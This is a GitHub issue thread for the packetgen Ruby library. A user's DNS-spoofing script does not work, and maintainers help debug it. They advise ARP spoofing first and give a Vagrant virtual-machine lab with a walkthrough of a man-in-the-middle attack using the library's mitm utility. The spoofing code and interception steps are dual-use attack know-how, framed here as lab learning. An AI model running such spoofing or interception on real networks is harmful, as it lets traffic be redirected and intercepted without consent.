lemontree55 / packetgen

Ruby library to easily generate and capture network packets
MIT License
98 stars 13 forks source link

DNS spoofing attack not working? #105

Closed n00b110 closed 5 years ago

n00b110 commented 5 years ago

@picatz @sdaubert I'm trying to perform a DNS spoofing attack on my network, and I can't seem to get it to work can you please help? The code's below:

require 'packetgen'
require 'ipaddr'

def spoof
  iface = 'wlp2s0'
  filter = 'udp and port 53'
  ip = '31.13.93.35' #facebook ip
  PacketGen.capture(iface: iface, filter: filter) do |pkt|
    puts "Found DNS packets..."
    if pkt.is?('DNS')
      if pkt.is?('TCP')
        pktID = pkt.dns.id
        pktOpcode = pkt.dns.opcode
        pktqr = true
        pktQuery = pkt.dns.qd.first.name
        pktSrc = pkt.ip.src
        pktDst = pkt.ip.dst
        pktDstPort = pkt.tcp.sport
        pktSrcPort pkt.tcp.dport
        pktIPAddr = IPAddr.new(ip).hton
        spoofed_pkt = PacketGen.gen('IP')
        spoofed_pkt.ip.src = pktDst
        spoofed_pkt.ip.dst = pktSrc
        spoofed_pkt.add('TCP')
        spoofed_pkt.tcp.sport = pktSrcPort
        spoofed_pkt.tcp.dport = pktDstPort
        spoofed_pkt.add('DNS')
        spoffed_pkt.dns.id = pktID
        spoofed_pkt.dns.opcode = pktOpcode
        spoofed_pkt.dns.qr = pktqr
        spoofed_pkt.dns.qd.first.name = pktQuery
        spoofed_pkt.dns.qd.rdata = pktIPAddr
        spoofed_pkt.calc
        spoofed_pkt.to_w
        puts "Sent spoofed packet to #{pktSrc} on interface #{iface} to IP Address #{ip}"

      elsif pkt.is?('UDP')
        pktID = pkt.dns.id
        pktOpcode = pkt.dns.opcode
        pktqr = true
        pktAnscount = pkt.dns.ancount
        pktQuery = pkt.dns.qd.first.name
        pktSrc = pkt.ip.src
        pktDst = pkt.ip.dst
        pktDstPort = pkt.udp.sport
        pktSrcPort = pkt.udp.dport
        pktIPAddr = IPAddr.new(ip).hton
        spoofed_pkt = PacketGen.gen('IP')
        spoofed_pkt.ip.src = pktDst
        spoofed_pkt.ip.dst = pktSrc
        spoofed_pkt.add('UDP')
        spoofed_pkt.udp.sport = 53
        spoofed_pkt.udp.dport = 47932
        spoofed_pkt.add('DNS')
        spoofed_pkt.dns.id = pktID
        spoofed_pkt.dns.opcode = pktOpcode
        spoofed_pkt.dns.qr = pktqr
        spoofed_pkt.dns.qd << {rtype: 'Question', name: pktQuery}
        spoofed_pkt.dns.an << {rtype: 'RR', name: pktQuery, rdata: pktIPAddr}
        spoofed_pkt.calc
        spoofed_pkt.to_w
        puts "Sent spoofed packet to #{pktSrc} on interface #{iface} to IP Address #{ip}"
      end
    end
  end
end

t = Thread.new(spoof)
t.join()

Whenever I run this program, and go to a website the website goes to the correct IP address, and not the one specified in the program, I don't know if it's the packets being sent, or something else. I think it may have to with the fact that the actual DNS responses are arriving faster, than my spoofed ones, but I'm unsure. Why are the spoofed DNS responses not working? Anyways, thanks for your help.

picatz commented 5 years ago

@n00b110 šŸ‘‹

It would probably be better to first perform an ARP spoof on a target before doing this kind of attack.

If we're trying to avoid that entirely, and just try to craft our own packets super fast, and beat/fool the receiver of the response, then you'd need to do some packet inspection and time the arrivals of packets.

I timed a sample DNS request and response:

DNS Request Time DNS Response time Difference
2019-01-16 14:39:05.541385 2019-01-16 14:39:05.581797 0.040412

Note: I think the difference is in milliseconds, but šŸ¤·ā€ā™‚ļø

Time all the things!

What I recommend you do is to get some packet captures on your network and check the timestamps for the DNS response you're sending vs the DNS response the actual DNS server is responding with. I think this would ultimately be the best thing to do to diagnose this problem.

If I have time, I'll try to replicate this myself. šŸ‘

sdaubert commented 5 years ago

@n00b110 It cannot work on TCP branch:

        spoofed_pkt.dns.qd.first.name = pktQuery
        spoofed_pkt.dns.qd.rdata = pktIPAddr

You cannot do that, as #qd is meptu in a freshly created DNS header.

Furthermore, you do not set TCP header (sequence and ack numbers, window, and perhaps flags).

And, as @picatz said, you do a lot of stuff, and you could arrive after real reponse. You should prepare the most things you will need.

n00b110 commented 5 years ago

@picatz @sdaubert Sorry, for this late response, but I have just two questions: Is it possible to arpspoof myself, and if so how would I go about it? Thanks, for your time!

picatz commented 5 years ago

@n00b110 I apologize for the late response.

An ARP spoof is simply an ARP request on the network wherein usually an attacker sends an ARP packet on the network to trick victim machines into sending their traffic to the attacker so that they can man-in-the-middle the connection between the victim machines and the network's gateway out to the internet. This is possible because each machine maintains an ARP table, a mapping of MAC addresses to their corresponding IP Addresses.

So, sending ARP spoof packet(s) on yourself, I can only imagine, wouldn't really get you anywhere, but nothing should stop you trying to see what happens.

Or, you could try simulating an environment using virtual machines which might make more sense to help you understand what's going on here. For example, this is a Vagrantfile to setup a virtualized environment to safely test out an ARP spoofing attack using packetgen:

Vagrant.configure("2") do |config|
  # creates an ubuntu VM, installs ruby and packetgen
  config.vm.define "attacker" do |attacker|
    attacker.vm.box = "ubuntu/xenial64"
    attacker.vm.network "private_network", ip: "192.168.7.3"

    # shell script to install ruby, libpcap-dev and packetgen
    attacker.vm.provision "shell", inline: "
    gpg --keyserver hkp://pool.sks-keyservers.net --recv-keys 409B6B1796C275462A1703113804BB82D39DC0E3 7D2BAF1CF37B13E2069D6956105BD0E739499BDB
    curl -sSL https://get.rvm.io | bash -s stable --ruby
    source /usr/local/rvm/scripts/rvm
    apt-get install libpcap-dev -y
    gem install packetgen pry
    "
  end

  # creates an ubuntu VM to act as a client on a network
  # we want to man-in-the-middle
  config.vm.define "victim" do |victim|
    victim.vm.box = "ubuntu/xenial64"
    victim.vm.network "private_network", ip: "192.168.7.4"
  end

  # creates an ubuntu VM to act as a server on a network
  # want to man-in-the-middle
  config.vm.define "server" do |victim|
    victim.vm.box = "ubuntu/xenial64"
    victim.vm.network "private_network", ip: "192.168.7.5"
  end
end

This file makes the following infrastructure on your localhost (using virtualbox by default). To use this, you'll need to install vagrant and virtualbox.

To use it:

$ ls
Vagrantfile
$ vagrant up
... creates three VMs
$ vagrant ssh attacker # to get into the attacker VM
vagrant@ubuntu-xenial:~$ sudo su root # become root
root@ubuntu-xenial:/home/vagrant# pgconsole 
pg(#<PgConsole>)> 
pg(#<PgConsole>)> victim = "192.168.7.4"
=> "192.168.7.4"
pg(#<PgConsole>)> server = "192.168.7.5"
=> "192.168.7.5"
pg(#<PgConsole>)> PacketGen::Utils.mitm(victim, server, {iface: "enp0s8"}) do |pkt|
pg(#<PgConsole>)*   binding.pry # so, for every packet I can manually inspect it
pg(#<PgConsole>)* end
... now you're waiting for traffic between the client and victim VMs

Open anouther terminal, go to the same directory where the Vagrantfile was so we can SSH into the client VM, like we did with the attacker.

$ cd ~/Desktop/arp-spoof-demo
$ ls
Vagrantfile
$ vagrant status
Current machine states:

attacker                running (virtualbox)
victim                    running (virtualbox)
server                    running (virtualbox)
$ vagrant ssh client
vagrant@ubuntu-xenial:~$ arp -n
Address                  HWtype  HWaddress           Flags Mask            Iface
192.168.7.1              ether   0a:00:27:00:00:00   C                     enp0s8
192.168.7.3              ether   08:00:27:d0:aa:cf   C                     enp0s8
192.168.7.5              ether   08:00:27:d0:aa:cf   C                     enp0s8
...
vagrant@ubuntu-xenial:~$ ping 192.168.7.5
PING 192.168.7.5 (192.168.7.5) 56(84) bytes of data.
... it will just hang, showing no results, but now the attacker has packets to inspect!

Note: see how the mac address for 192.168.7.3(the attacker) and 192.168.7.5(the server) are the same. This is because the man-in-the-middle method we are using on the attacking machine has ARP spoofed/poisoned the table with a bogus value essentially.

So, back on the attacker SSH terminal, we'll see our prompt has shown up, but won't see anything else:

pg(#<PgConsole>)>

But, if we type pkt to start inspecting the packet (the first in the stream of packets)

pg(#<PgConsole>)> pkt
=> -- PacketGen::Packet -------------------------------------------------
-- PacketGen::Header::Eth --------------------------------------------
           MacAddr              dst: 08:00:27:d0:aa:cf
           MacAddr              src: 08:00:27:e0:16:4e
             Int16        ethertype: 2048             (0x0800)
-- PacketGen::Header::IP ---------------------------------------------
              Int8               u8: 69               (0x45)
                            version: 4
                                ihl: 5
              Int8              tos: 0                (0x00)
             Int16           length: 84               (0x0054)
             Int16               id: 43943            (0xaba7)
             Int16             frag: 16384            (0x4000)
                              flags: DF
                        frag_offset: 0                (0x0000)
              Int8              ttl: 64               (0x40)
              Int8         protocol: 1                (0x01)
             Int16         checksum: 65447            (0xffa7)
              Addr              src: 192.168.7.4
              Addr              dst: 192.168.7.5
-- PacketGen::Header::ICMP -------------------------------------------
              Int8             type: 8                (0x08)
              Int8             code: 0                (0x00)
             Int16         checksum: 56543            (0xdcdf)
---- Body ------------------------------------------------------------
 00 01 02 03 04 05 06 07 08 09 10 11 12 13 14 15
----------------------------------------------------------------------
 07 90 00 01 5a be 51 5c 00 00 00 00 a0 a1 08 00  ....Z.Q\........
 00 00 00 00 10 11 12 13 14 15 16 17 18 19 1a 1b  ................
 1c 1d 1e 1f 20 21 22 23 24 25 26 27 28 29 2a 2b  .... !"#$%&'()*+
 2c 2d 2e 2f 30 31 32 33 34 35 36 37              ,-./01234567
----------------------------------------------------------------------

pg(#<PgConsole>)> ls pkt
PacketGen::Packet#methods: 
  ==  add  body  body=  calc  calc_checksum  calc_length  decapsulate  encapsulate  headers  insert  inspect  is?  parse  reply  reply!  to_f  to_s  to_w  write
self.methods: eth  icmp  ip
instance variables: @headers
pg(#<PgConsole>)> pkt.icmp.type
=> 8

And, just like that we've ARP spoofed the client to pretend the attacker is the server destination and can easily man-in-the-middle the client and server communication from here. If anything was too confusing, or you need some more clarification about something, just ask and I'll try to get back to you as soon as I can. šŸ‘

n00b110 commented 5 years ago

@picatz SO sorry for this late comment, I've been busy. Anyways, I have a few questions: Is it necessary to use my ethernet interface for this? What does binding.pry mean? Thanks, and again sorry for this late comment I don't me to bombard you with questions, and thanks for keeping this question open after all this time.

picatz commented 5 years ago

@n00b110 no worries šŸ‘

n00b110 commented 5 years ago

Thanks, for the help this really solved my problem. :)

picatz commented 5 years ago

šŸ‘ Awesome to hear @n00b110!